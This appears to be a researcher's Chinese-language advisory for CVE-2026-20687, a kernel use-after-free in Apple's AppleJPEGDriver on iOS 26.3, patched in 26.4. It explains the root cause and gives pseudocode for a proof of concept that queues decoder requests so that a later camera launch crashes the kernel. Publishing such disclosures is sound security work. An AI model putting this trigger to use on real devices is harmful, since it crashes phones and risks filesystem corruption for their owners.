CVE-2026-20687:AppleJPEGDriver startDecoder 超时 UAF — iOS/macOS 内核漏洞,导致延迟崩溃(A19 Pro,iOS 26.3 RC)
CVE-2026-20687 · Enfilade · enfilade.io
组件: 内核
影响: 应用可能能够导致系统意外终止或写入内核内存。
描述: 通过改进内存管理解决了一个释放后使用问题。
| iOS | 26.3 (23D125)(已测试) |
| macOS | — |
| 组件 | AppleJPEGDriver |
| 已修补 | iOS 26.4 / iPadOS 26.4 |
| 硬件 | iPhone18,2(iPhone 17 Pro Max,A19 Pro) |
运行 PoC 将导致设备内核崩溃。运行前请保存您的工作。反复崩溃可能导致文件系统损坏。仅供安全研究使用。
startDecoder_sync 中的超时路径释放了一个请求,但将其嵌入的队列节点指针保留在每编解码器向量中。后续的队列遍历解引用该过期节点,内核在 MTE 标签检查执行下崩溃。该崩溃通常会延迟到后续同步 JPEG 解码运行时才发生——在 iPhone 上,打开相机应用时可靠地触发。
// 预置驱动;崩溃通常会延迟到打开相机时发生。
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);
// 稍后,打开相机触发:
startDecoder_sync();
queue_io_gated: vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG:未出队 (req + 0x78)
// 更晚(finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // 过期:node_ptr == (已释放的 req + 0x78)
req2 = *(node_ptr + 0x8); // UAF 读取 -> MTE 标签错误 -> 崩溃
ios-app/Test.xcodeproj。参见 LICENSE。